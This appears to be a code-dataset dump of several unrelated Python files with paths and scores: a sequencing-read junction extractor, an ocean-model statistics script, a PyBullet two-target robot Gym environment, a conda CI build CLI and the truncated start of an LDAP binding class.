stringDiversity=''
for eachEl in alignmentInfoList:
if eachEl.typeOfEvent=='Diversity' and checkWithinBounds(eachEl.position,[boundsList[k]]):
stringDiversity+=eachEl.notes
return stringDiversity
def junctionExtractor(alignmentInfoList):
startRecording=0
junctionSeq=''
for eachEl in alignmentInfoList:
if startRecording==1:
junctionSeq+=eachEl.notes
if eachEl.typeOfEvent=='Match' and eachEl.position==66:
startRecording=0
break
if eachEl.typeOfEvent=='Match' and eachEl.position==62:
startRecording=1
return junctionSeq
def threePrimeEndExtractor(alignmentInfoList):
startRecording=0
threePrimeEndSeq=''
for eachEl in alignmentInfoList:
if startRecording==1:
threePrimeEndSeq+=eachEl.notes
if eachEl.typeOfEvent=='Match' and eachEl.position==126:
startRecording=1
return threePrimeEndSeq
numberMutationMax=1
boundsList=[(2,61),(66,125)] #made boundsList symmetric in both halves of dimer
boundsFirstHalf=[boundsList[0]]
boundsSecondHalf=[boundsList[1]]
secondAppendPos=64
diversityPosNumber=6
refsToCount=['GG','CC']
pcrDuplicates=0
with open(sys.argv[1],'rb') as f:
newObjDict=cPickle.load(f)
dimerPairDict={}
#filter for reads that have <=1 mutation in 1st dimer half and <=1 mutation in 2nd dimer half; do not collapse multiple base insertions together
for eachRef in newObjDict:
letterToAppend=eachRef[0]
secondLetterToAppend=eachRef[secondAppendPos]
if letterToAppend+secondLetterToAppend in refsToCount:
for newObj in newObjDict[eachRef]:
if isFullLength(newObj):
if returnNumberMutations(newObj.alignmentInfo[1],boundsFirstHalf)<=numberMutationMax and returnNumberMutations(newObj.alignmentInfo[1],boundsSecondHalf)<=numberMutationMax:
firstDiv=diversityStringReturn(newObj.alignmentInfo[1],boundsList,0)
secondDiv=diversityStringReturn(newObj.alignmentInfo[1],boundsList,1)
if len(firstDiv)==diversityPosNumber and len(secondDiv)==diversityPosNumber:
firstDiv=letterToAppend+firstDiv
secondDiv=secondLetterToAppend+secondDiv
if firstDiv==secondDiv:
if (firstDiv,secondDiv) in dimerPairDict:
pass
else:
dimerPairDict[(firstDiv,secondDiv)]=dimerSixBaseObject()
mutStringFirstHalf=returnMutationString(newObj.alignmentInfo[1],boundsFirstHalf,0)
mutStringSecondHalf=returnMutationString(newObj.alignmentInfo[1],boundsSecondHalf,64)
junctionSeq=junctionExtractor(newObj.alignmentInfo[1])
threePrimeSeq=threePrimeEndExtractor(newObj.alignmentInfo[1])
tupleForRead=(mutStringFirstHalf,junctionSeq,mutStringSecondHalf,threePrimeSeq)
if tupleForRead in dimerPairDict[(firstDiv,secondDiv)].readSeqDict:
dimerPairDict[(firstDiv,secondDiv)].readSeqDict[tupleForRead]+=newObj.count[pcrDuplicates]
else:
dimerPairDict[(firstDiv,secondDiv)].readSeqDict[tupleForRead]=newObj.count[pcrDuplicates]
sampleName=sys.argv[1]
sampleName=sampleName[:sampleName.find('_trimmomatic')]
with open(sampleName+'_junctions_20180430_ver2.pckl','wb') as f:
cPickle.dump(dimerPairDict,f,protocol=cPickle.HIGHEST_PROTOCOL) | Fig_S14/junctions_20180430_ver2.py | from moduleUsefulFunctions_20180215 import *
plt.close()
class dimerSixBaseObject:
def __init__(self):
self.readSeqDict={} #keys are tuples of the form ('Mutations in 1st half','Dimer junction','Mutations in 2nd half','Three Prime Base addition')
def returnStartPosition(alignInfoList):
for eachEl in alignInfoList:
if eachEl.typeOfEvent=='Start':
return eachEl.position
def returnEndPosition(alignInfoList):
for eachEl in alignInfoList:
if eachEl.typeOfEvent=='End':
return eachEl.position
def isFullLength(alignmentObject):
refSeq=alignmentObject.refUsed
startPos=returnStartPosition(alignmentObject.alignmentInfo[1])
endPos=returnEndPosition(alignmentObject.alignmentInfo[1])
if startPos==0 and endPos==len(refSeq):
return True
else:
return False
def checkWithinBounds(position,boundsList):
withinBounds=0
for eachTup in boundsList:
if position>=eachTup[0] and position<=eachTup[1]:
withinBounds+=1
if withinBounds==1:
return True
elif withinBounds>1:
print 'What??!!'
elif withinBounds==0:
return False
def returnNumberMutations(alignInfoList,boundsList):
numberMutations=0
for eachEl in alignInfoList:
if eachEl.typeOfEvent=='Start':
startPosition=eachEl.position
elif eachEl.typeOfEvent=='End':
endPosition=eachEl.position
for eachEl in alignInfoList:
if checkWithinBounds(eachEl.position,boundsList):
if eachEl.typeOfEvent=='Insertion':
if eachEl.position==startPosition or eachEl.position==endPosition: #only count insertions in the middle of the sequence as mutations
pass
else:
numberMutations+=1 #single base insertions counted as one mutation
elif eachEl.typeOfEvent=='Mismatch' or eachEl.typeOfEvent=='Deletion':
numberMutations+=1
return numberMutations
def returnMutationString(alignInfoList,boundsList,k):
mutString=''
for eachEl in alignInfoList:
if eachEl.typeOfEvent=='Start':
startPosition=eachEl.position
elif eachEl.typeOfEvent=='End':
endPosition=eachEl.position
for eachEl in alignInfoList:
if checkWithinBounds(eachEl.position,boundsList):
if eachEl.typeOfEvent=='Insertion':
if eachEl.position==startPosition or eachEl.position==endPosition: #only count insertions in the middle of the sequence as mutations
pass
else:
mutString+='I'+str(eachEl.position-k)+eachEl.notes
elif eachEl.typeOfEvent=='Mismatch':
mutString+='M'+str(eachEl.position-k)+eachEl.notes
elif eachEl.typeOfEvent=='Deletion':
mutString+='D'+str(eachEl.position-k)
return mutString
def diversityStringReturn(alignmentInfoList,boundsList,k):
stringDiversity=''
for eachEl in alignmentInfoList:
if eachEl.typeOfEvent=='Diversity' and checkWithinBounds(eachEl.position,[boundsList[k]]):
stringDiversity+=eachEl.notes
return stringDiversity
def junctionExtractor(alignmentInfoList):
startRecording=0
junctionSeq=''
for eachEl in alignmentInfoList:
if startRecording==1:
junctionSeq+=eachEl.notes
if eachEl.typeOfEvent=='Match' and eachEl.position==66:
startRecording=0
break
if eachEl.typeOfEvent=='Match' and eachEl.position==62:
startRecording=1
return junctionSeq
def threePrimeEndExtractor(alignmentInfoList):
startRecording=0
threePrimeEndSeq=''
for eachEl in alignmentInfoList:
if startRecording==1:
threePrimeEndSeq+=eachEl.notes
if eachEl.typeOfEvent=='Match' and eachEl.position==126:
startRecording=1
return threePrimeEndSeq
numberMutationMax=1
boundsList=[(2,61),(66,125)] #made boundsList symmetric in both halves of dimer
boundsFirstHalf=[boundsList[0]]
boundsSecondHalf=[boundsList[1]]
secondAppendPos=64
diversityPosNumber=6
refsToCount=['GG','CC']
pcrDuplicates=0
with open(sys.argv[1],'rb') as f:
newObjDict=cPickle.load(f)
dimerPairDict={}
#filter for reads that have <=1 mutation in 1st dimer half and <=1 mutation in 2nd dimer half; do not collapse multiple base insertions together
for eachRef in newObjDict:
letterToAppend=eachRef[0]
secondLetterToAppend=eachRef[secondAppendPos]
if letterToAppend+secondLetterToAppend in refsToCount:
for newObj in newObjDict[eachRef]:
if isFullLength(newObj):
if returnNumberMutations(newObj.alignmentInfo[1],boundsFirstHalf)<=numberMutationMax and returnNumberMutations(newObj.alignmentInfo[1],boundsSecondHalf)<=numberMutationMax:
firstDiv=diversityStringReturn(newObj.alignmentInfo[1],boundsList,0)
secondDiv=diversityStringReturn(newObj.alignmentInfo[1],boundsList,1)
if len(firstDiv)==diversityPosNumber and len(secondDiv)==diversityPosNumber:
firstDiv=letterToAppend+firstDiv
secondDiv=secondLetterToAppend+secondDiv
if firstDiv==secondDiv:
if (firstDiv,secondDiv) in dimerPairDict:
pass
else:
dimerPairDict[(firstDiv,secondDiv)]=dimerSixBaseObject()
mutStringFirstHalf=returnMutationString(newObj.alignmentInfo[1],boundsFirstHalf,0)
mutStringSecondHalf=returnMutationString(newObj.alignmentInfo[1],boundsSecondHalf,64)
junctionSeq=junctionExtractor(newObj.alignmentInfo[1])
threePrimeSeq=threePrimeEndExtractor(newObj.alignmentInfo[1])
tupleForRead=(mutStringFirstHalf,junctionSeq,mutStringSecondHalf,threePrimeSeq)
if tupleForRead in dimerPairDict[(firstDiv,secondDiv)].readSeqDict:
dimerPairDict[(firstDiv,secondDiv)].readSeqDict[tupleForRead]+=newObj.count[pcrDuplicates]
else:
dimerPairDict[(firstDiv,secondDiv)].readSeqDict[tupleForRead]=newObj.count[pcrDuplicates]
sampleName=sys.argv[1]
sampleName=sampleName[:sampleName.find('_trimmomatic')]
with open(sampleName+'_junctions_20180430_ver2.pckl','wb') as f:
cPickle.dump(dimerPairDict,f,protocol=cPickle.HIGHEST_PROTOCOL) | 0.339499 | 0.376623 |
import numpy as np
import h5py
import os
import yaml
def make_stats_file(path, GridX, GridY, output):
files =[]
for r, d, f in os.walk(path):
for file in f:
if '.hdf5' in file:
files.append(os.path.join(r, file))
stats_dict = {'variable':{'mean':2, 'min':1, 'max':5, 'std':6}}
for file in files:
with h5py.File(file, 'r') as f:
for group in list(f['Results'].keys()):
timeseries = np.array([])
for time in list(f['Results'][group].keys()):
if np.ndim(f['Results'][group][time][:]) == 3:
timeseries = np.append(timeseries, f['Results'][group][time][-1, GridX, GridY])
else:
timeseries = np.append(timeseries, f['Results'][group][time][GridX, GridY])
stats_dict[group] = {'min': "%.4g" % np.min(timeseries),
'max': "%.4g" % np.max(timeseries),
'mean': "%.4g" % np.mean(timeseries),
'std': "%.4g" % np.std(timeseries)}
if group == 'wind velocity X':
windx = timeseries
if group == 'wind velocity Y':
windy = timeseries
if group == 'velocity U':
currentsu = timeseries
if group == 'velocity V':
currentsv = timeseries
if group == 'Stokes U':
stokesu = timeseries
if group == 'Stokes V':
stokesv = timeseries
windspeed = np.mean(np.array([windx, windy]), axis=0)
stats_dict['wind speed'] = {'min': "%.4g" % np.min(windspeed),
'max': "%.4g" % np.max(windspeed),
'mean': "%.4g" % np.mean(windspeed),
'std': "%.4g" % np.std(windspeed)}
currentsspeed = np.mean(np.array([currentsu, currentsv]), axis=0)
stats_dict['currents speed'] = {'min': "%.4g" % np.min(currentsspeed),
'max': "%.4g" % np.max(currentsspeed),
'mean': "%.4g" % np.mean(currentsspeed),
'std': "%.4g" % np.std(currentsspeed)}
stokesspeed = np.mean(np.array([stokesu, stokesv]), axis=0)
stats_dict['stokes speed'] = {'min': "%.4g" % np.min(stokesspeed),
'max': "%.4g" % np.max(stokesspeed),
'mean': "%.4g" % np.mean(stokesspeed),
'std': "%.4g" % np.std(stokesspeed)}
del stats_dict['variable']
with open(output, 'w') as outfile:
yaml.dump(stats_dict, outfile, default_flow_style=False)
make_stats_file('/results2/MIDOSS/forcing/SalishSeaCast/MF0/20jun18-21jun18/', 249, 342, '/results2/MIDOSS/forcing/SalishSeaCast/MF0/20jun18-21jun18/stats.yaml') | make_statistics_file/make_statistics_file.py |
import numpy as np
import h5py
import os
import yaml
def make_stats_file(path, GridX, GridY, output):
files =[]
for r, d, f in os.walk(path):
for file in f:
if '.hdf5' in file:
files.append(os.path.join(r, file))
stats_dict = {'variable':{'mean':2, 'min':1, 'max':5, 'std':6}}
for file in files:
with h5py.File(file, 'r') as f:
for group in list(f['Results'].keys()):
timeseries = np.array([])
for time in list(f['Results'][group].keys()):
if np.ndim(f['Results'][group][time][:]) == 3:
timeseries = np.append(timeseries, f['Results'][group][time][-1, GridX, GridY])
else:
timeseries = np.append(timeseries, f['Results'][group][time][GridX, GridY])
stats_dict[group] = {'min': "%.4g" % np.min(timeseries),
'max': "%.4g" % np.max(timeseries),
'mean': "%.4g" % np.mean(timeseries),
'std': "%.4g" % np.std(timeseries)}
if group == 'wind velocity X':
windx = timeseries
if group == 'wind velocity Y':
windy = timeseries
if group == 'velocity U':
currentsu = timeseries
if group == 'velocity V':
currentsv = timeseries
if group == 'Stokes U':
stokesu = timeseries
if group == 'Stokes V':
stokesv = timeseries
windspeed = np.mean(np.array([windx, windy]), axis=0)
stats_dict['wind speed'] = {'min': "%.4g" % np.min(windspeed),
'max': "%.4g" % np.max(windspeed),
'mean': "%.4g" % np.mean(windspeed),
'std': "%.4g" % np.std(windspeed)}
currentsspeed = np.mean(np.array([currentsu, currentsv]), axis=0)
stats_dict['currents speed'] = {'min': "%.4g" % np.min(currentsspeed),
'max': "%.4g" % np.max(currentsspeed),
'mean': "%.4g" % np.mean(currentsspeed),
'std': "%.4g" % np.std(currentsspeed)}
stokesspeed = np.mean(np.array([stokesu, stokesv]), axis=0)
stats_dict['stokes speed'] = {'min': "%.4g" % np.min(stokesspeed),
'max': "%.4g" % np.max(stokesspeed),
'mean': "%.4g" % np.mean(stokesspeed),
'std': "%.4g" % np.std(stokesspeed)}
del stats_dict['variable']
with open(output, 'w') as outfile:
yaml.dump(stats_dict, outfile, default_flow_style=False)
make_stats_file('/results2/MIDOSS/forcing/SalishSeaCast/MF0/20jun18-21jun18/', 249, 342, '/results2/MIDOSS/forcing/SalishSeaCast/MF0/20jun18-21jun18/stats.yaml') | 0.244634 | 0.174147 |
from .mobile_robot_env import *
MAX_STEPS = 1500
class MobileRobot2TargetGymEnv(MobileRobotGymEnv):
"""
Gym wrapper for Mobile Robot environment with 2 targets
WARNING: to be compatible with kuka scripts, additional keyword arguments are discarded
:param urdf_root: (str) Path to pybullet urdf files
:param renders: (bool) Whether to display the GUI or not
:param is_discrete: (bool) Whether to use discrete or continuous actions
:param name: (str) name of the folder where recorded data will be stored
:param max_distance: (float) Max distance between end effector and the button (for negative reward)
:param shape_reward: (bool) Set to true, reward = -distance_to_goal
:param use_srl: (bool) Set to true, use srl_models
:param srl_model_path: (str) Path to the srl model
:param record_data: (bool) Set to true, record frames with the rewards.
:param use_ground_truth: (bool) Set to true, the observation will be the ground truth (arm position)
:param random_target: (bool) Set the target to a random position
:param state_dim: (int) When learning states
:param learn_states: (bool)
:param verbose: (bool) Whether to print some debug info
:param save_path: (str) location where the saved data should go
:param env_rank: (int) the number ID of the environment
:param pipe: (Queue, [Queue]) contains the input and output of the SRL model
:param fpv: (bool) enable first person view camera
:param srl_model: (str) The SRL_model used
"""
def __init__(self, name="mobile_robot_2target", **kwargs):
super(MobileRobot2TargetGymEnv, self).__init__(name=name, **kwargs)
self.current_target = 0
def reset(self):
self.current_target = 0
self.terminated = False
p.resetSimulation()
p.setPhysicsEngineParameter(numSolverIterations=150)
p.setTimeStep(self._timestep)
p.loadURDF(os.path.join(self._urdf_root, "plane.urdf"), [0, 0, 0])
p.setGravity(0, 0, -10)
# Init the robot randomly
x_start = self._max_x / 2 + self.np_random.uniform(- self._max_x / 3, self._max_x / 3)
y_start = self._max_y / 2 + self.np_random.uniform(- self._max_y / 3, self._max_y / 3)
self.robot_pos = np.array([x_start, y_start, 0])
# Initialize target position
self.button_uid = []
self.button_pos = []
x_pos = 0.9 * self._max_x
y_pos = self._max_y * 3 / 4
if self._random_target:
margin = 0.1 * self._max_x
x_pos = self.np_random.uniform(self._min_x + margin, self._max_x - margin)
y_pos = self.np_random.uniform(self._min_y + margin, self._max_y - margin)
self.button_uid.append(p.loadURDF("/urdf/cylinder.urdf", [x_pos, y_pos, 0], useFixedBase=True))
self.button_pos.append(np.array([x_pos, y_pos, 0]))
x_pos = 0.1 * self._max_x
y_pos = self._max_y * 3 / 4
if self._random_target:
margin = 0.1 * self._max_x
x_pos = self.np_random.uniform(self._min_x + margin, self._max_x - margin)
y_pos = self.np_random.uniform(self._min_y + margin, self._max_y - margin)
self.button_uid.append(p.loadURDF("/urdf/cylinder.urdf", [x_pos, y_pos, 0], useFixedBase=True))
self.button_pos.append(np.array([x_pos, y_pos, 0]))
# Change color to red for the second button
p.changeVisualShape(self.button_uid[-1], -1, rgbaColor=[0.8, 0, 0, 1])
# Add walls
# Path to the urdf file
wall_urdf = "/urdf/wall.urdf"
# RGBA (red, green, blue, alpha) colors
red, green, blue = [0.8, 0, 0, 1], [0, 0.8, 0, 1], [0, 0, 0.8, 1]
wall_left = p.loadURDF(wall_urdf, [self._max_x / 2, 0, 0], useFixedBase=True)
# Change color
p.changeVisualShape(wall_left, -1, rgbaColor=red)
# getQuaternionFromEuler -> define orientation
wall_bottom = p.loadURDF(wall_urdf, [self._max_x, self._max_y / 2, 0],
p.getQuaternionFromEuler([0, 0, np.pi / 2]), useFixedBase=True)
wall_right = p.loadURDF(wall_urdf, [self._max_x / 2, self._max_y, 0], useFixedBase=True)
p.changeVisualShape(wall_right, -1, rgbaColor=green)
wall_top = p.loadURDF(wall_urdf, [self._min_x, self._max_y / 2, 0],
p.getQuaternionFromEuler([0, 0, np.pi / 2]), useFixedBase=True)
p.changeVisualShape(wall_top, -1, rgbaColor=blue)
self.walls = [wall_left, wall_bottom, wall_right, wall_top]
# Add mobile robot
self.robot_uid = p.loadURDF(os.path.join(self._urdf_root, "racecar/racecar.urdf"), self.robot_pos,
useFixedBase=True)
self._env_step_counter = 0
for _ in range(50):
p.stepSimulation()
self._observation = self.getObservation()
if self.saver is not None:
self.saver.reset(self._observation, self.getTargetPos(), self.getGroundTruth())
if self.srl_model != "raw_pixels":
return self.getSRLState(self._observation)
return np.array(self._observation)
def getTargetPos(self):
# Return only the [x, y] coordinates
return self.button_pos[self.current_target][:2]
def step(self, action):
# True if it has bumped against a wall
self.has_bumped = False
if self._is_discrete:
dv = DELTA_POS
# Add noise to action
dv += self.np_random.normal(0.0, scale=NOISE_STD)
dx = [-dv, dv, 0, 0][action]
dy = [0, 0, -dv, dv][action]
real_action = np.array([dx, dy])
else:
raise ValueError("Only discrete actions is supported")
if self.verbose:
print(np.array2string(np.array(real_action), precision=2))
previous_pos = self.robot_pos.copy()
self.robot_pos[:2] += real_action
# Handle collisions
for i, (limit, robot_dim) in enumerate(zip([self._max_x, self._max_y], [ROBOT_LENGTH, ROBOT_WIDTH])):
margin = self.collision_margin + robot_dim / 2
# If it has bumped against a wall, stay at the previous position
if self.robot_pos[i] < margin or self.robot_pos[i] > limit - margin:
self.has_bumped = True
self.robot_pos = previous_pos
break
# Update mobile robot position
p.resetBasePositionAndOrientation(self.robot_uid, self.robot_pos, [0, 0, 0, 1])
p.stepSimulation()
self._env_step_counter += 1
self._observation = self.getObservation()
reward = self._reward()
done = self._termination()
if self.saver is not None:
self.saver.step(self._observation, action, reward, done, self.getGroundTruth())
if self.srl_model != "raw_pixels":
return self.getSRLState(self._observation), reward, done, {}
return np.array(self._observation), reward, done, {}
def _reward(self):
"""
:return: (float)
"""
# Distance to target
distance = np.linalg.norm(self.getTargetPos() - self.robot_pos[:2], 2)
reward = 0
if distance <= REWARD_DIST_THRESHOLD:
reward = 1
if self.current_target < len(self.button_pos) - 1:
self.current_target += 1
# Negative reward when it bumps into a wall
if self.has_bumped:
reward = -1
if self._shape_reward:
return -distance
return reward | environments/mobile_robot/mobile_robot_2target_env.py | from .mobile_robot_env import *
MAX_STEPS = 1500
class MobileRobot2TargetGymEnv(MobileRobotGymEnv):
"""
Gym wrapper for Mobile Robot environment with 2 targets
WARNING: to be compatible with kuka scripts, additional keyword arguments are discarded
:param urdf_root: (str) Path to pybullet urdf files
:param renders: (bool) Whether to display the GUI or not
:param is_discrete: (bool) Whether to use discrete or continuous actions
:param name: (str) name of the folder where recorded data will be stored
:param max_distance: (float) Max distance between end effector and the button (for negative reward)
:param shape_reward: (bool) Set to true, reward = -distance_to_goal
:param use_srl: (bool) Set to true, use srl_models
:param srl_model_path: (str) Path to the srl model
:param record_data: (bool) Set to true, record frames with the rewards.
:param use_ground_truth: (bool) Set to true, the observation will be the ground truth (arm position)
:param random_target: (bool) Set the target to a random position
:param state_dim: (int) When learning states
:param learn_states: (bool)
:param verbose: (bool) Whether to print some debug info
:param save_path: (str) location where the saved data should go
:param env_rank: (int) the number ID of the environment
:param pipe: (Queue, [Queue]) contains the input and output of the SRL model
:param fpv: (bool) enable first person view camera
:param srl_model: (str) The SRL_model used
"""
def __init__(self, name="mobile_robot_2target", **kwargs):
super(MobileRobot2TargetGymEnv, self).__init__(name=name, **kwargs)
self.current_target = 0
def reset(self):
self.current_target = 0
self.terminated = False
p.resetSimulation()
p.setPhysicsEngineParameter(numSolverIterations=150)
p.setTimeStep(self._timestep)
p.loadURDF(os.path.join(self._urdf_root, "plane.urdf"), [0, 0, 0])
p.setGravity(0, 0, -10)
# Init the robot randomly
x_start = self._max_x / 2 + self.np_random.uniform(- self._max_x / 3, self._max_x / 3)
y_start = self._max_y / 2 + self.np_random.uniform(- self._max_y / 3, self._max_y / 3)
self.robot_pos = np.array([x_start, y_start, 0])
# Initialize target position
self.button_uid = []
self.button_pos = []
x_pos = 0.9 * self._max_x
y_pos = self._max_y * 3 / 4
if self._random_target:
margin = 0.1 * self._max_x
x_pos = self.np_random.uniform(self._min_x + margin, self._max_x - margin)
y_pos = self.np_random.uniform(self._min_y + margin, self._max_y - margin)
self.button_uid.append(p.loadURDF("/urdf/cylinder.urdf", [x_pos, y_pos, 0], useFixedBase=True))
self.button_pos.append(np.array([x_pos, y_pos, 0]))
x_pos = 0.1 * self._max_x
y_pos = self._max_y * 3 / 4
if self._random_target:
margin = 0.1 * self._max_x
x_pos = self.np_random.uniform(self._min_x + margin, self._max_x - margin)
y_pos = self.np_random.uniform(self._min_y + margin, self._max_y - margin)
self.button_uid.append(p.loadURDF("/urdf/cylinder.urdf", [x_pos, y_pos, 0], useFixedBase=True))
self.button_pos.append(np.array([x_pos, y_pos, 0]))
# Change color to red for the second button
p.changeVisualShape(self.button_uid[-1], -1, rgbaColor=[0.8, 0, 0, 1])
# Add walls
# Path to the urdf file
wall_urdf = "/urdf/wall.urdf"
# RGBA (red, green, blue, alpha) colors
red, green, blue = [0.8, 0, 0, 1], [0, 0.8, 0, 1], [0, 0, 0.8, 1]
wall_left = p.loadURDF(wall_urdf, [self._max_x / 2, 0, 0], useFixedBase=True)
# Change color
p.changeVisualShape(wall_left, -1, rgbaColor=red)
# getQuaternionFromEuler -> define orientation
wall_bottom = p.loadURDF(wall_urdf, [self._max_x, self._max_y / 2, 0],
p.getQuaternionFromEuler([0, 0, np.pi / 2]), useFixedBase=True)
wall_right = p.loadURDF(wall_urdf, [self._max_x / 2, self._max_y, 0], useFixedBase=True)
p.changeVisualShape(wall_right, -1, rgbaColor=green)
wall_top = p.loadURDF(wall_urdf, [self._min_x, self._max_y / 2, 0],
p.getQuaternionFromEuler([0, 0, np.pi / 2]), useFixedBase=True)
p.changeVisualShape(wall_top, -1, rgbaColor=blue)
self.walls = [wall_left, wall_bottom, wall_right, wall_top]
# Add mobile robot
self.robot_uid = p.loadURDF(os.path.join(self._urdf_root, "racecar/racecar.urdf"), self.robot_pos,
useFixedBase=True)
self._env_step_counter = 0
for _ in range(50):
p.stepSimulation()
self._observation = self.getObservation()
if self.saver is not None:
self.saver.reset(self._observation, self.getTargetPos(), self.getGroundTruth())
if self.srl_model != "raw_pixels":
return self.getSRLState(self._observation)
return np.array(self._observation)
def getTargetPos(self):
# Return only the [x, y] coordinates
return self.button_pos[self.current_target][:2]
def step(self, action):
# True if it has bumped against a wall
self.has_bumped = False
if self._is_discrete:
dv = DELTA_POS
# Add noise to action
dv += self.np_random.normal(0.0, scale=NOISE_STD)
dx = [-dv, dv, 0, 0][action]
dy = [0, 0, -dv, dv][action]
real_action = np.array([dx, dy])
else:
raise ValueError("Only discrete actions is supported")
if self.verbose:
print(np.array2string(np.array(real_action), precision=2))
previous_pos = self.robot_pos.copy()
self.robot_pos[:2] += real_action
# Handle collisions
for i, (limit, robot_dim) in enumerate(zip([self._max_x, self._max_y], [ROBOT_LENGTH, ROBOT_WIDTH])):
margin = self.collision_margin + robot_dim / 2
# If it has bumped against a wall, stay at the previous position
if self.robot_pos[i] < margin or self.robot_pos[i] > limit - margin:
self.has_bumped = True
self.robot_pos = previous_pos
break
# Update mobile robot position
p.resetBasePositionAndOrientation(self.robot_uid, self.robot_pos, [0, 0, 0, 1])
p.stepSimulation()
self._env_step_counter += 1
self._observation = self.getObservation()
reward = self._reward()
done = self._termination()
if self.saver is not None:
self.saver.step(self._observation, action, reward, done, self.getGroundTruth())
if self.srl_model != "raw_pixels":
return self.getSRLState(self._observation), reward, done, {}
return np.array(self._observation), reward, done, {}
def _reward(self):
"""
:return: (float)
"""
# Distance to target
distance = np.linalg.norm(self.getTargetPos() - self.robot_pos[:2], 2)
reward = 0
if distance <= REWARD_DIST_THRESHOLD:
reward = 1
if self.current_target < len(self.button_pos) - 1:
self.current_target += 1
# Negative reward when it bumps into a wall
if self.has_bumped:
reward = -1
if self._shape_reward:
return -distance
return reward | 0.877424 | 0.582372 |
import argparse
from dask import visualize
from distributed import LocalCluster, Client, progress
from .execute import get_dask_outputs
def parse_args(parse_this=None):
parser = argparse.ArgumentParser()
parser.add_argument("path", default='.')
package_specs = parser.add_mutually_exclusive_group()
package_specs.add_argument("--all", action='store_true', dest='_all',
help='Show/build all nodes in the graph, not just changed ones')
package_specs.add_argument('--packages', '-p',
default=[],
nargs="+",
help="Rather than determine tree from git, specify packages to build")
parser.add_argument('--steps',
type=int,
help=("Number of downstream steps to follow in the DAG when "
"computing what to test. Used for making sure that an "
"update does not break downstream packages. Set to -1 "
"to follow the complete dependency tree."),
default=0),
parser.add_argument('--max-downstream',
default=5,
type=int,
help=("Limit the total number of downstream packages built. Only applies "
"if steps != 0. Set to -1 for unlimited."))
parser.add_argument('--git-rev',
default='HEAD',
help=('start revision to examine. If stop not '
'provided, changes are THIS_VAL~1..THIS_VAL'))
parser.add_argument('--stop-rev',
default=None,
help=('stop revision to examine. When provided,'
'changes are git_rev..stop_rev'))
parser.add_argument('--threads',
default=50,
help=('dask scheduling threads. Effectively number of parallel builds, '
'though not all builds run on one host.'))
parser.add_argument('--visualize',
help=('Output a PDF visualization of the package build graph, and quit. '
'Argument is output file name (pdf)'),
default="")
parser.add_argument('--test', action='store_true',
help='test packages (instead of building them)')
return parser.parse_args(parse_this)
def build_cli(args=None):
if not args:
args = parse_args()
else:
args = parse_args(args)
filter_dirty = any(args.packages) or not args._all
outputs = get_dask_outputs(args.path, packages=args.packages, filter_dirty=filter_dirty,
git_rev=args.git_rev, stop_rev=args.stop_rev,
steps=args.steps, max_downstream=args.max_downstream,
visualize=args.visualize, test=args.test)
if args.visualize:
# setattr(nx.drawing, 'graphviz_layout', nx.nx_pydot.graphviz_layout)
# graphviz_graph = nx.draw_graphviz(graph, 'dot')
# graphviz_graph.draw(args.visualize)
visualize(*outputs, filename=args.visualize) # create neat looking graph.
else:
# many threads, because this is just the dispatch. Takes very little compute.
# Only waiting for build complete.
cluster = LocalCluster(n_workers=1, threads_per_worker=args.threads, nanny=False)
client = Client(cluster)
futures = client.persist(outputs)
progress(futures) | conda_gitlab_ci/cli.py | import argparse
from dask import visualize
from distributed import LocalCluster, Client, progress
from .execute import get_dask_outputs
def parse_args(parse_this=None):
parser = argparse.ArgumentParser()
parser.add_argument("path", default='.')
package_specs = parser.add_mutually_exclusive_group()
package_specs.add_argument("--all", action='store_true', dest='_all',
help='Show/build all nodes in the graph, not just changed ones')
package_specs.add_argument('--packages', '-p',
default=[],
nargs="+",
help="Rather than determine tree from git, specify packages to build")
parser.add_argument('--steps',
type=int,
help=("Number of downstream steps to follow in the DAG when "
"computing what to test. Used for making sure that an "
"update does not break downstream packages. Set to -1 "
"to follow the complete dependency tree."),
default=0),
parser.add_argument('--max-downstream',
default=5,
type=int,
help=("Limit the total number of downstream packages built. Only applies "
"if steps != 0. Set to -1 for unlimited."))
parser.add_argument('--git-rev',
default='HEAD',
help=('start revision to examine. If stop not '
'provided, changes are THIS_VAL~1..THIS_VAL'))
parser.add_argument('--stop-rev',
default=None,
help=('stop revision to examine. When provided,'
'changes are git_rev..stop_rev'))
parser.add_argument('--threads',
default=50,
help=('dask scheduling threads. Effectively number of parallel builds, '
'though not all builds run on one host.'))
parser.add_argument('--visualize',
help=('Output a PDF visualization of the package build graph, and quit. '
'Argument is output file name (pdf)'),
default="")
parser.add_argument('--test', action='store_true',
help='test packages (instead of building them)')
return parser.parse_args(parse_this)
def build_cli(args=None):
if not args:
args = parse_args()
else:
args = parse_args(args)
filter_dirty = any(args.packages) or not args._all
outputs = get_dask_outputs(args.path, packages=args.packages, filter_dirty=filter_dirty,
git_rev=args.git_rev, stop_rev=args.stop_rev,
steps=args.steps, max_downstream=args.max_downstream,
visualize=args.visualize, test=args.test)
if args.visualize:
# setattr(nx.drawing, 'graphviz_layout', nx.nx_pydot.graphviz_layout)
# graphviz_graph = nx.draw_graphviz(graph, 'dot')
# graphviz_graph.draw(args.visualize)
visualize(*outputs, filename=args.visualize) # create neat looking graph.
else:
# many threads, because this is just the dispatch. Takes very little compute.
# Only waiting for build complete.
cluster = LocalCluster(n_workers=1, threads_per_worker=args.threads, nanny=False)
client = Client(cluster)
futures = client.persist(outputs)
progress(futures) | 0.422505 | 0.103749 |
from __future__ import print_function
import sys
import ldap
from .objects import LDAPUser, LDAPGroup, LDAPObjectException
from ..base import print_error
class LDAPServer(object):
def __init__(self, **kwargs):
config = dict(kwargs.get('config'))
self.host = config.get('server')
self.base_dn = config.get('base_dn')
self.user = config.get('binding_user_uid')
self.pwd = <PASSWORD>.<PASSWORD>('binding_user_pwd')
self.ldap_server = None
def bind_server(self):
self.ldap_server = ldap.initialize(self.host) # pylint: disable=no-member
bind_dn = "uid=" + self.user + "," + self.base_dn
bind_pw = self.pwd
try:
self.ldap_server.protocol_version = ldap.VERSION3 # pylint: disable=no-member
self.ldap_server.simple_bind_s(bind_dn, bind_pw)
except ldap.LDAPError as error: # pylint: disable=no-member
print_error('LDAP Error: {0}'.format(
error.message['desc'] if 'desc' in error.message else str(error)
))
sys.exit("LDAP Connection failed; exiting")
return True
def get_all_users(self):
search_filter = "(&(objectClass=" + LDAPUser.OBJECT_CLASS + ")"
if LDAPUser.NON_USER_GROUPS:
search_filter += "(!"
for group in LDAPUser.NON_USER_GROUPS:
search_filter += "(memberOf=cn=" + group + "," + self.base_dn + ")"
search_filter += ")"
search_filter += ")"
return self.do_search(search_filter, LDAPUser.OBJECT_CLASS)
def get_users_by_uid(self, uids):
search_filter = ""
if not isinstance(uids, list):
